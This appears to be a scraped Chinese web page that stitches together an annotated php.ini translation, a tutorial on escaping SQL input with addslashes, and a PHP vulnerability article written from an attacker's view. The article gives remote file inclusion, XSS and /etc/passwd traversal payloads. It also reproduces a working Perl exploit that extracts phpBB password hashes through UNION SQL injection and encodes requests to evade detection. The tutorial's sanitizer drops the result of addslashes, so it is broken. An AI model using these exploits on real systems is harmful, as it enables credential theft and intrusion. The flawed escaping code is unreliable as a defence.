; 关于这个文件 ; 
;;;;;;;;;;;;;;;;;;; 
; 这个文件控制了PHP许多方面的观点.为了让PHP读取这个文件,它必须被命名为 
; ‘php.ini’.PHP 将在这些地方依次查找该文件:当前工作目录;环境变量PHPRC 
; 指明的路径;编译时指定的路径. 
; 在windows下,编译时的路径是Windows安装目录. 
; 在命令行模式下,php.ini的查找路径可以用 -c 参数替代. 
; 该文件的语法非常简单.空白字符和用分号’;’开始的行被简单地忽略(就象你可能 
; 猜到的一样). 章节标题(例如 : [Foo])也被简单地忽略,即使将来它们可能 
; 有某种的意义. 
; 
; 指示被指定使用如下语法: 
; 指示标识符 = 值 
; directive = value 
; 指示标识符 是 *大小写敏感的* – foo=bar 不同于 FOO = bar. 
; 
; 值可以是一个字符串,一个数字,一个 PHP 常量 (如: E_ALL or M_PI), INI 常量中的 
; 一个 (On, Off, True, False, Yes, No and None) ,或是一个表达式 
; (如: E_ALL & ~E_NOTICE), 或是用引号括起来的字符串(“foo”).  
; 
; INI 文件的表达式被限制于位运算符和括号. 
; | bitwise OR 
; & bitwise AND 
; ~ bitwise NOT 
; ! boolean NOT 
; 
; 布尔标志可用 1, On, True or Yes 这些值置于开的状态. 
; 它们可用 0, Off, False or No 这些值置于关的状态. 
; 
; 一个空字符串可以用在等号后不写任何东西表示,或者用 None 关键字: 
; 
; foo = ; 将foo置为空字符串 
; foo = none ; 将foo置为空字符串 
; foo = “none” ; 将foo置为字符串’none’ 
; 
; 如果你值设置中使用常量,而这些常量属于动态调入的扩展库(不是 PHP 的扩展,就是 
; Zend 的扩展),你仅可以调入这些扩展的行*之后*使用这些常量. 
; 
; 所有在 php.ini-dist 文件里设定的值与内建的默认值相同(这是说,如果 php.ini 
; 没被使用或者你删掉了这些行,默认值与之相同). 
;;;;;;;;;;;;;;;;;;;; 
; 语言选项 ; 
;;;;;;;;;;;;;;;;;;;; 
engine = On 
; 使 PHP scripting language engine(PHP 脚本语言引擎)在 Apache下有效. 
short_open_tag = On 
; 允许 <? 标识(这种简单表示). 仅有 <?php and <script> tags 将被识别. 
asp_tags = Off 
; 允许ASP-style <% %> tags 
precision = 14 
; 浮点类型数显示时的有效位数 
y2k_compliance = Off 
; 是否打开 2000年适应 (可能在非Y2K适应的浏览器中导致问题) 
output_buffering = Off 
; 输出缓存允许你甚至在输出正文内容之后发送 header(标头,包括cookies)行 
; 其代价是输出层减慢一点点速度.你可以使用输出缓存在运行时打开输出缓存, 
; 或者在这里将指示设为 On 而使得所有文件的输出缓存打开. 
output_handler = ; 你可以重定向你的脚本的所有输出到一个函数, 
; 那样做可能对处理或以日志记录它有用. 
; 例如若你将这个output_handler 设为”ob_gzhandler”, 
; 则输出会被透明地为支持gzip或deflate编码的浏览器压缩. 
; 设一个输出处理器自动地打开输出缓冲. 
implicit_flush = Off 
; 强制flush(刷新)让PHP 告诉输出层在每个输出块之后自动刷新自身数据. 
; 这等效于在每个 print() 或 echo() 调用和每个 HTML 块后调用flush()函数. 
; 打开这项设置会导致严重的运行时冲突,建议仅在debug过程中打开. 
allow_call_time_pass_reference = On 
; 是否让强迫函数调用时按引用传递参数.这一方法遭到抗议, 
; 并可能在将来版本的PHP/Zend里不再支持. 
; 受到鼓励的指定哪些参数按引用传递的方法是在函数声明里. 
; 你被鼓励尝试关闭这一选项并确认你的脚本仍能正常工作,以保证在将来版本的语言里 
; 它们仍能工作.(你将在每次使用该特点时得到一个警告,而参数将按值而不是按引用 
; 传递). 
; Safe Mode 安全模式 
safe_mode = Off 
safe_mode_exec_dir = 
safe_mode_allowed_env_vars = PHP_ 
; ?Setting certain environment variables 
; ?may be a potential security breach. 
; 该指示包含用逗号分隔的前缀列表.安全模式中,用户仅可以替换 
; 以在此列出的前缀开头的环境变量的值. 
; 默认地,用户将仅能 设定以PHP_开头的环境变量,(如: PHP_FOO=BAR). 
; 注意: 如果这一指示为空,PHP 将让用户更改任意环境变量! 
safe_mode_protected_env_vars = LD_LIBRARY_PATH 
; 这条指示包含一个用逗号分隔的环境变量列表,那是最终用户将不能用putenv () 更改的. 
; 这些变量甚至在safe_mode_allowed_env_vars 设置为允许的情况下得到保护. 
disable_functions = 
; 这条指示让你可以为了安全的原因让特定函数失效. 
; 它接受一个用逗号分隔的函数名列表. 
; 这条指示 *不受* 安全模式是否打开的影响. 
; 语法高亮模式的色彩. 
; 只要能被<font color=???>接受的东西就能工作. 
highlight.string = #DD0000 
highlight.comment = #FF8000 
highlight.keyword = #007700 
highlight.bg = #FFFFFF 
highlight.default = #0000BB 
highlight.html = #000000 
; Misc 杂项 
expose_php = Off  
; 决定 PHP 是否标示它装在服务器上的事实(例如:加在它 —PHP—给Web服务 
; 发送的信号上). 
; (我个人的意见,在出现什么power-by的header的时候,把这关掉.) 
; 它不会有安全上的威胁, 但它使检查你的服务器上是否安装了PHP成为了可能. 
;;;;;;;;;;;;;;;;;;; 
; Resource Limits ; 
;;;;;;;;;;;;;;;;;;; 
max_execution_time = 30 ; 每个脚本的最大执行时间, 按秒计 
memory_limit = 8388608 ; 一个脚本最大可使用的内存总量 (这里是8MB) 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 
; Error handling and logging ; 
; 出错控制和登记 ; 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 
; 错误报告是按位的.或者将数字加起来得到想要的错误报告等级. 
; E_ALL – 所有的错误和警告 
; E_ERROR – 致命性运行时错 
; E_WARNING – 运行时警告(非致命性错) 
; E_PARSE – 编译时解析错误 
; E_NOTICE – 运行时提醒(这些经常是是你的代码的bug引起的, 
;也可能是有意的行为造成的.(如:基于未初始化的变量自动初始化为一个 
;空字符串的事实而使用一个未初始化的变量) 
; E_CORE_ERROR – 发生于PHP启动时初始化过程中的致命错误 
; E_CORE_WARNING – 发生于PHP启动时初始化过程中的警告(非致命性错) 
; E_COMPILE_ERROR – 编译时致命性错 
; E_COMPILE_WARNING – 编译时警告(非致命性错) 
; E_USER_ERROR – 用户产生的出错消息 
; E_USER_WARNING – 用户产生的警告消息 
; E_USER_NOTICE – 用户产生的提醒消息 
; 例子: 
; error_reporting = E_ALL & ~E_NOTICE ; 显示所有的错误,除了提醒 
; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ; 仅显示错误 
error_reporting = E_ALL & ~E_NOTICE ; 显示所有的错误,除了提醒 
display_errors = On ; 显示出错误信息(作为输出的一部分) 
; 在最终发布的web站点上,强烈建议你关掉这个特性,并使用 
; 错误日志代替(参看下面). 
; 在最终发布的web站点继续让 display_errors 有效可能 
; 暴露一些有关安全的信息,例如你的web服务上的文件路径、 
; 你的数据库规划或别的信息. 
display_startup_errors = Off ; 甚至当display_erroes打开了,发生于PHP的启动的步骤中 
; 的错误也不会被显示. 
; 强烈建议保持使 display_startup_errors 关闭, 
; 除了在改错过程中. 
log_errors = Off ; 在日志文件里记录错误(服务器指定的日志,stderr标准错误输出,或error_log(下面的)) 
; 正如上面说明的那样,强烈建议你在最终发布的web站点以日志记录错误 
; 取代直接错误输出. 
track_errors = Off ; 保存最近一个 错误/警告 消息于变量 $php_errormsg (boolean) 
;error_prepend_string = “<font color=ff0000>” ; 于错误信息前输出的字符串 
;error_append_string = “</font>” ; 于错误信息后输出的字符串 
;error_log = filename ; 记录错误日志于指定文件 
;error_log = syslog ; 记录错误日志于系统日志 syslog (NT 下的事件日志, Windows 95下无效) 
warn_plus_overloading = Off ; 当将‘+’用于字符串时警告 
;;;;;;;;;;;;;;;;; 
; Data Handling ; 
;;;;;;;;;;;;;;;;; variables_order = “EGPCS” ; 这条指示描述了PHP 记录 
; GET, POST, Cookie, Environment and Built-in 这些变量的顺序. 
; (以 G, P, C, E & S 代表,通常以 EGPCS 或 GPC 的方式引用). 
; 按从左到右记录,新值取代旧值. 
register_globals = On ; 是否将这些 EGPCS 变量注册为全局变量. 
; 若你不想让用户数据不在全局范围内混乱的话,你可能想关闭它. 
; 这和 track_vars 连起来用更有意义 — 这样你可以通过 
; $HTTP_*_VARS[] 数组访问所有的GPC变量. 
register_argc_argv = On ; 这条指示告诉 PHP 是否声明 argv和argc 变量 
; (注:这里argv为数组,argc为变量数) 
; (其中包含用GET方法传来的数据). 
; 若你不想用这些变量,你应当关掉它以提高性能. 
track_vars = On ; 使$HTTP_*_VARS[]数组有效,这里*在使用时用 
; ENV, POST, GET, COOKIE or SERVER替换 
post_max_size = 8M ; PHP将接受的POST数据最大大小. 
gpc_order = “GPC” ; 这条指示被人反对.用 variables_order 代替. 
; Magic quotes 
magic_quotes_gpc = On ; 在输入的GET/POST/Cookie数据里使用魔术引用 
; (原文就这样,呵呵,所谓magic quotes 应该是指用转义符加在引用性的控制字符上,如 \’….) 
magic_quotes_runtime= Off ; 对运行时产生的数据使用魔术引用, 
; 例如:用SQL查询得到的数据,用exec()函数得到的数据,等等 
magic_quotes_sybase = Off ; 采用 Sybase形式的魔术引用(用 ” 脱出 ‘ 而不用 \’) 
; 自动在 PHP 文档之前和之后添加文件 
auto_prepend_file = 
auto_append_file = 
; 象4.04b4一样,PHP 默认地总是在 “Content-type:” 头标输出一个字符的编码方式. 
; 让输出字符集失效,只要设置为空. 
; PHP 的内建默认值是 text/html 
default_mimetype = “text/html” 
;default_charset = “iso-8859-1″ 
;;;;;;;;;;;;;;;;;;;;;;;;; 
; Paths and Directories ; 
;;;;;;;;;;;;;;;;;;;;;;;;; 
include_path = ; include 路径设置,UNIX: “/path1:/path2” Windows: “\path1;\path2″ 
doc_root = ; php 页面的根路径,仅在非空时有效 
user_dir = ; 告知 php 在使用 /~username 打开脚本时到哪个目录下去找,仅在非空时有效 
;upload_tmp_dir = ; 存放用HTTP协议上载的文件的临时目录(在没指定时使用系统默认的) 
upload_max_filesize = 2097152 ; 文件上载默认地限制为2 Meg 
extension_dir = c:\php\ ; 存放可加载的扩充库(模块)的目录 
enable_dl = On ; 是否使dl()有效. 
; 在多线程的服务器上 dl()函数*不能*很好地工作, 
; 例如IIS or Zeus,并在其上默认为禁止 
;;;;;;;;;;;;;;;; 
; File Uploads ; 
;;;;;;;;;;;;;;;; 
file_uploads = On ; 是否允许HTTP方式文件上载 
;upload_tmp_dir = ; 用于HTTP上载的文件的临时目录(未指定则使用系统默认) 
upload_max_filesize = 2M ; 上载文件的最大许可大小 
; Fopen wrappers ; 
;;;;;;;;;;;;;;;;;; 
allow_url_fopen = On ; 是否允许把URLs当作http:.. 或把文件当作ftp:… 
;;;;;;;;;;;;;;;;;;;;;; 
; 动态扩展 ; 
; Dynamic Extensions ; 
;;;;;;;;;;;;;;;;;;;;;; 
; 若你希望一个扩展库自动加载,用下面的语法: 
; extension=modulename.extension 
; 例如,在windows上, 
; extension=msql.dll 
; or 在UNIX下, 
; extension=msql.so 
; 注意,这只应当是模块的名字,不需要目录信息放在里面. 
; 用上面的 extension_dir 指示指定扩展库的位置. 
;Windows 扩展 
;extension=php_nsmail.dll 
extension=php_calendar.dll 
;extension=php_dbase.dll 
;extension=php_filepro.dll 
extension=php_gd.dll 
;extension=php_dbm.dll 
;extension=php_mssql.dll 
;extension=php_zlib.dll 
;extension=php_filepro.dll  
;extension=php_imap4r2.dll 
;extension=php_ldap.dll 
;extension=php_crypt.dll 
;extension=php_msql2.dll 
;extension=php_odbc.dll 
; 注意, MySQL的支持现在是内建的,因此,不需要用它的dll 
;;;;;;;;;;;;;;;;;;; 
; 模块设定 ; 
; Module Settings ; 
;;;;;;;;;;;;;;;;;;; 
[Syslog] 
define_syslog_variables = Off ; 是否定义各种的系统日志变量 
; 如:$LOG_PID, $LOG_CRON, 等等. 
; 关掉它是个提高效率的好主意. 
; 运行时,你可以调用函数define_syslog_variables(),来定义这些变量 
[mail function] 
SMTP = localhost ;仅用于win32系统 
sendmail_from = me@localhost.com ;仅用于win32系统 
;sendmail_path = ;仅用于unix, 也可支持参数(默认的是’sendmail -t -i’) 
[Debugger] 
debugger.host = localhost 
debugger.port = 7869 
debugger.enabled = False 
[Logging] 
; 这些配置指示用于示例的日志记录机制. 
; 看 examples/README.logging 以得到更多的解释 
;logging.method = db 
;logging.directory = /path/to/log/directory 
[Java] 
;java.class.path = .\php_java.jar 
;java.home = c:\jdk 
;java.library = c:\jdk\jre\bin\hotspot\jvm.dll 
;java.library.path = .\ 
[SQL] 
sql.safe_mode = Off 
[ODBC] 
;uodbc.default_db = Not yet implemented 
;uodbc.default_user = Not yet implemented 
;uodbc.default_pw = Not yet implemented 
uodbc.allow_persistent = On ; 允许或禁止 持久连接 
uodbc.check_persistent = On ; 在重用前检查连接是否还可用 
uodbc.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
uodbc.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制  网管u家u.bitsCN.com
uodbc.defaultlrl = 4096 ; 控制 LONG 类型的字段.返回变量的字节数,0 代表通过(?)0 means passthru 
uodbc.defaultbinmode = 1 ; 控制 二进制数据.0 代表?????Handling of binary data. 0 means passthru, 1 return as is, 2 convert to char 
; 见有关 odbc_binmode 和 odbc_longreadlen 的文档以得到 uodbc.defaultlrl 和 uodbc.defaultbinmode 的解释. 
[MySQL] 
mysql.allow_persistent = On ; 允许或禁止 持久连接 
mysql.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
mysql.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
mysql.default_port = ; mysql_connect() 使用的默认端口,如不设置,mysql_connect() 
; 将使用变量 $MYSQL_TCP_PORT,或在/etc/services 下的mysql-tcp 条目(unix), 
; 或在编译是定义的 MYSQL_PORT(按这样的顺序) 
; Win32环境,将仅检查MYSQL_PORT. 
mysql.default_socket = ; 用于本地 MySql 连接的默认的套接字名.为空,使用 MYSQL 内建值 
mysql.default_host = ; mysql_connect() 默认使用的主机(安全模式下无效) 
mysql.default_user = ; mysql_connect() 默认使用的用户名(安全模式下无效) 
mysql.default_password = ; mysql_connect() 默认使用的密码(安全模式下无效) 
; 注意,在这个文件下保存密码通常是一个*坏*主意 
; *任何*可以使用PHP访问的用户可以运行 
; ‘echo cfg_get_var(“mysql.default_password”)’来显示那个密码! 
; 而且当然地,任何有读该文件权力的用户也能看到那个密码. 
[mSQL] 
msql.allow_persistent = On ; 允许或禁止 持久连接 
msql.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
msql.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
[PostgresSQL] 
pgsql.allow_persistent = On ; 允许或禁止 持久连接 
pgsql.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
pgsql.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
[Sybase] 
sybase.allow_persistent = On ; 允许或禁止 持久连接 
sybase.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
sybase.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
;sybase.interface_file = “/usr/sybase/interfaces” 
sybase.min_error_severity = 10 ; 显示的错误的最低严重性 
sybase.min_message_severity = 10 ; 显示的消息的最低重要性 
sybase.compatability_mode = Off ; 与旧版的PHP 3.0 兼容的模式.若打开,这将导致 PHP 自动地 
; 把根据结果的 Sybase 类型赋予它们, 
; 而不是把它们全当成字符串. 
; 这个兼容模式不会永远留着, 
; 因此,将你的代码进行需要的修改, 
; 并将该项关闭. 
[Sybase-CT] 
sybct.allow_persistent = On ; 允许或禁止 持久连接 
sybct.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
sybct.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
sybct.min_server_severity = 10 ; 显示的错误的最低严重性 
sybct.min_client_severity = 10 ; 显示的消息的最低重要性 
[bcmath] 
bcmath.scale = 0 ; 用于所有bcmath函数的10十进制数数字的个数number of decimal digits for all bcmath functions 
[browscap] 
;browscap = extra/browscap.ini 
browscap = C:\WIN\SYSTEM\inetsrv\browscap.ini 
[Informix] 
ifx.default_host = ; ifx_connect() 默认使用的主机(安全模式下无效) 
ifx.default_user = ; ifx_connect() 默认使用的用户名(安全模式下无效) 
ifx.default_password = ; ifx_connect() 默认使用的密码(安全模式下无效) 
ifx.allow_persistent = On ; 允许或禁止 持久连接 
ifx.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
ifx.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
ifx.textasvarchar = 0 ; 若打开,select 状态符返回一个 ‘text blob’字段的内容,而不是它的id 
ifx.byteasvarchar = 0 ; 若打开,select 状态符返回一个 ‘byte blob’字段的内容,而不是它的id 
ifx.charasvarchar = 0 ; 追踪从固定长度的字符列里剥离的空格. 
; 可能对 Informix SE 用户有效. 
ifx.blobinfile = 0 ; 若打开,text和byte blobs 的内容被导出到一个文件 
; 而不是保存到内存. 
ifx.nullformat = 0 ; NULL(空)被作为空字段返回,除非,这里被设为1. 
; 这种情况下(为1),NULL作为字串NULL返回. 
[Session] 
session.save_handler = files ; 用于保存/取回数据的控制方式 
session.save_path = C:\win\temp ; 在 save_handler 设为文件时传给控制器的参数, 
; 这是数据文件将保存的路径. 
session.use_cookies = 1 ; 是否使用cookies 
session.name = PHPSESSID 
; 用在cookie里的session的名字 
session.auto_start = 0 ; 在请求启动时初始化session 
session.cookie_lifetime = 0 ; 为按秒记的cookie的保存时间, 
; 或为0时,直到浏览器被重启 
session.cookie_path = / ; cookie的有效路径 
session.cookie_domain = ; cookie的有效域 
session.serialize_handler = php ; 用于连接数据的控制器 
; php是 PHP 的标准控制器. 
session.gc_probability = 1 ; 按百分比的’garbage collection(碎片整理)’进程 
; 在每次 session 初始化的时候开始的可能性.  网管bitscn_com
session.gc_maxlifetime = 1440 ; 在这里数字所指的秒数后,保存的数据将被视为 
; ‘碎片(garbage)’并由gc 进程清理掉. 
session.referer_check = ; 检查 HTTP引用以使额外包含于URLs中的ids无效 
session.entropy_length = 0 ; 从文件中读取多少字节 
session.entropy_file = ; 指定这里建立 session id 
; session.entropy_length = 16 
; session.entropy_file = /dev/urandom 
session.cache_limiter = nocache ; 设为{nocache,private,public},以决定 HTTP 的 
; 缓存问题 
session.cache_expire = 180 ; 文档在 n 分钟后过时 
session.use_trans_sid = 1 ; 使用过渡性的 sid 支持,若编译时许可了 
; –enable-trans-sid 
url_rewriter.tags = “a=href,area=href,frame=src,input=src,form=fakeentry” 
[MSSQL] 
;extension=php_mssql.dll 
mssql.allow_persistent = On ; 允许或禁止 持久连接 
mssql.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
mssql.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制  网管u家u.bitsCN.com
mssql.min_error_severity = 10 ; 显示的错误的最低严重性 
mssql.min_message_severity = 10 ; 显示的消息的最低重要性 
mssql.compatability_mode = Off ; 与旧版的PHP 3.0 兼容的模式. 
[Assertion] 
; ????? 
;assert.active = On ; ?assert(expr); active by default 
;assert.warning = On ; issue a PHP warning for each failed assertion. 
;assert.bail = Off ; don’t bail out by default. 
;assert.callback = 0 ; user-function to be called if an assertion fails. 
;assert.quiet_eval = 0 ; eval the expression with current error_reporting(). set to true if you want error_reporting(0) around the eval(). 
[Ingres II] 
ii.allow_persistent = On ; 允许或禁止 持久连接 
ii.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
ii.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
ii.default_database = ; 默认 database (format : [node_id::]dbname[/srv_class] 
ii.default_user = ; 默认 user 
ii.default_password = ; 默认 password  网管下载dl.bitscn.com
[Verisign Payflow Pro] 
pfpro.defaulthost = “test.signio.com” ; 默认的 Signio 服务器 
pfpro.defaultport = 443 ; 连接的默认端口 
pfpro.defaulttimeout = 30 ; 按秒计的默认超时时间 
; pfpro.proxyaddress = ; 默认的代理的 IP 地址(如果需要) 
; pfpro.proxyport = ; 默认的代理的端口 
; pfpro.proxylogon = ; 默认的代理的登录(logon 用户名) 
; pfpro.proxypassword = ; 默认的代理的密码 
[Sockets] 
sockets.use_system_read = On ; 使用系统的read() 函数替代 php_read()封装 
; Local Variables: (局部变量) 
; tab-width: 4 
; End:

用PHP函数解决SQL injection

SQL injection问题在ASP上可是闹得沸沸扬扬?当然还有不少国内外著名的PHP程序“遇难”。至于SQL injection的详情,网上的文章太多了,在此就不作介绍。


如果你网站空间的php.ini文件里的magic_quotes_gpc设成了off,那么PHP就不会在敏感字符前加上反斜杠(\),由于表单提交的内容可能含有敏感字符,如单引号(’),就导致了SQL injection的漏洞。在这种情况下,我们可以用addslashes()来解决问题,它会自动在敏感字符前添加反斜杠。


但是,上面的方法只适用于magic_quotes_gpc=Off的情况。作为一个开发者,你不知道每个用户的magic_quotes_gpc是On还是Off,如果把全部的数据都用上addslashes(),那不是“滥杀无辜”了?假如magic_quotes_gpc=On,并且又用了addslashes()函数,那让我们来看看:

 

[language=PHP]
<?php
//如果从表单提交一个变量$_POST[‘message’],内容为 Tom’s book
//这此加入连接MySQL数据库的代码,自己写吧
//在$_POST[‘message’]的敏感字符前加上反斜杠
$_POST[‘message’] = addslashes($_POST[‘message’]);

//由于magic_quotes_gpc=On,所以又一次在敏感字符前加反斜杠
$sql = “INSERT INTO msg_table VALUE(‘$_POST[message]’);”;

//发送请求,把内容保存到数据库内
$query = mysql_query($sql);

//如果你再从数据库内提取这个记录并输出,就会看到 Tom\’s book
?>

这样的话,在magic_quotes_gpc=On的环境里,所有输入的单引号(’)都会变成(\’)……
其实我们可以用get_magic_quotes_gpc()函数轻易地解决这个问题。当magic_quotes_gpc=On时,该函数返回TRUE;当magic_quotes_gpc=Off时,返回FALSE。至此,肯定已经有不少人意识到:问题已经解决。请看代码:
<?php
//如果magic_quotes_gpc=Off,那就为提单提交的$_POST[‘message’]里的敏感字符加反斜杠
//magic_quotes_gpc=On的情况下,则不加
if (!get_magic_quotes_gpc()) {
$_POST[‘message’] = addslashes($_POST[‘message’]);
} else {}
?>

[/language]

 

其实说到这里,问题已经解决。下面再说一个小技巧。


有时表单提交的变量不止一个,可能有十几个,几十个。那么一次一次地复制/粘帖addslashes(),是否麻烦了一点?由于从表单或URL获取的数据都是以数组形式出现的,如$_POST、$_GET)?那就自定义一个可以“横扫千军”的函数:

 

[language=PHP]
<?php
function quotes($content)
{
//如果magic_quotes_gpc=Off,那么就开始处理
if (!get_magic_quotes_gpc()) {
//判断$content是否为数组
if (is_array($content)) {
//如果$content是数组,那么就处理它的每一个单无
foreach ($content as $key=>$value) {
$content[$key] = addslashes($value);
}
} else {
//如果$content不是数组,那么就仅处理一次
addslashes($content);
}
} else {
//如果magic_quotes_gpc=On,那么就不处理
}
//返回$content
return $content;
}
?>

[/language]




Modified At 2008-06-04 13:09:11

PHP网站漏洞的相关总结


从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权.然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多.在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧.


我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种.当然,至于COOKIE 欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多.那么,我们就一个一个来分析一下怎样利用这些漏洞吧!


首先,我们来讨论包含文件漏洞.这个漏洞应该说是PHP独有的吧.这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令.我们来看一个例子:假设在a.php中有这样一句代码:

<?php
include($include.”/xxx.php”);
?>


在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的.比方说我们提交:a.php? include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了.我们可以在 b.php中写入类似于:passthru(“/bin/ls /etc”);的代码.这样,就可以执行一些有目的的攻击了.(注:web服务器应该不能执行php代码,不然就出问题了.相关详情可以去看< <如何对PHP程序中的常见漏洞进行攻击>>).在这个漏洞方面,出状况的很多,比方说:PayPal Store Front, HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.


接着,我们再来看一下脚本命令执行漏洞.这是由于对用户提交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的:


http://web/index.php?PHPSESSID=”><script>…</script>在script里面我们可以构造函数来获得用户的一些敏感信息.在这个漏洞方面相对要少一点,除了PHP Transparent之外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.


再然后,我们就来看看文件泄露漏洞了.这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpMyAdmin来做例子.在phpMyAdmin中,export.php页面没有对用户提交的’what’参数进行充分过滤,远程攻击者提交包含多个’../’字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../.. /etc/passwd%00 就可以达到文件泄露的目的了.在这方面相对多一点,有:myPHPNuke,McNews等等.


最后,我们又要回到最兴奋的地方了.想想我们平时在asp页面中用SQL注入有多么爽,以前还要手动注入,一直到小竹悟出”SQL注入密笈”(嘿嘿),然后再开做出NBSI以后,我们NB联盟真是拉出一片天空.曾先后帮CSDN,大富翁论坛,中国频道等大型网站找出漏洞.(这些废话不多说了,有点跑题了…).还是言规正传,其实在asp中SQL的注入和php中的SQL注入大致相同,只不过稍微注意一下用的几个函数就好了.将asc改成 ASCII,len改成LENGTH,其他函数基本不变了.其实大家看到PHP的SQL注入,是不是都会想到PHP-NUKE和PHPBB呢?不错,俗话说树大招分,像动网这样的论坛在asp界就该是漏洞这王了,这并不是说它的论坛安全太差,而是名气太响,别人用的多了,研究的人也就多了,发现的安全漏洞也就越多了.PHPBB也是一样的,现在很大一部分人用PHP做论坛的话,一般都是选择了PHPBB.它的漏洞也是一直在出,从最早phpBB.com phpBB 1.4.0版本被人发现漏洞,到现在最近的phpBB 2.0.6版本的groupcp.php,以及之前发现的search.php,profile.php,viewtopic.php等等加起来,大概也有十来个样子吧.这也一直导致,一部分人在研究php漏洞的时候都会拿它做实验品,所谓百练成精嘛,相信以后的PHPBB会越来越好.


好了,我们还是来分析一下漏洞产生的原因吧.拿viewtopic.php页面来说,由于在调用viewtopic.php时,直接从GET请求中获得 “topic_id”并传递给SQL查询命令,而并没有进行一些过滤的处理,攻击者可以提交特殊的SQL字符串用于获得MD5密码,获得此密码信息可以用于自动登录或者进行暴力破解。(我想应该不会有人想去暴力破解吧,除非有特别重要的原因).先看一下相关源代码:


# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS[‘topic’]) )
# {
# $topic_id = intval($HTTP_GET_VARS[‘topic’]);
# }


从上面我们可以看出,如果提交的view=newest并且sid设置了值的话,执行的查询代码像下面的这个样子(如果你还没看过PHPBB源代码的话,建议你看了再对着这里来看,受影响系统为:phpBB 2.0.5和phpBB 2.0.4).

 

# $sql = “select p.post_id
# FROM ” . POSTS_TABLE . ” p, ” . SESSIONS_TABLE . ” s, ” . USERS_TABLE . ” u 
# where s.session_id = ‘$session_id’
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1″;

Rick提供了下面的这断测试代码:

use IO::Socket;
$remote = shift || ‘localhost’;
$view_topic = shift || ‘/phpBB2/viewtopic.php’;
$uid = shift || 2;
$port = 80;
$dbtype = ‘mysql4’; # mysql4 or pgsql
print “Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n”;
$p = “”;
for($index=1; $index<=32; $index++) {
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => “tcp”,
Type => SOCK_STREAM)
or die “Couldnt connect to $remote:$port : $@\n”;
$str = “GET $view_topic” . “?sid=1&topic_id=-1” . random_encode(make_dbsql()) . “&view=newest” . ” HTTP/1.0\n\n”; 
print $socket $str;
print $socket “Cookie: phpBB2mysql_sid=1\n”; # replace this for pgsql or remove it
print $socket “Host: $remote\n\n”;
while ($answer = <$socket>) {
if ($answer =~ /location:.*\x23(\d+)/) # Matches the location: viewtopic.php?p=<num>#<num> {
$p .= chr ();
}
}
close($socket);
}
print “\nMD5 Hash for uid $uid is $p\n”;
# random encode str. helps avoid detection
sub random_encode {
$str = shift;
$ret = “”;
for($i=0; $i<length($str); $i++) {
$c = substr($str,$i,1);
$j = rand length($str) * 1000;
if (int($j) % 2 || $c eq ‘ ‘) {
$ret .= “%” . sprintf(“%x”,ord($c));
} else {
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql {
if ($dbtype eq ‘mysql4’) {
return ” union select ord(substring(user_password,” . $index . “,1)) from phpbb_users where user_id=$uid/*” ;
} elsif ($dbtype eq ‘pgsql’) {
return “; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false”;
} else {
return “”;
}
}

 

这断代码,我就不多做解释了.作用是获得HASH值.
看到这里,大家可能有点疑问,为什么我前面讲的那些改的函数怎么没有用到,我讲出来不怕大家笑话:其实网上很多站点有些页面的查询语句看起来会是这样:


display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc


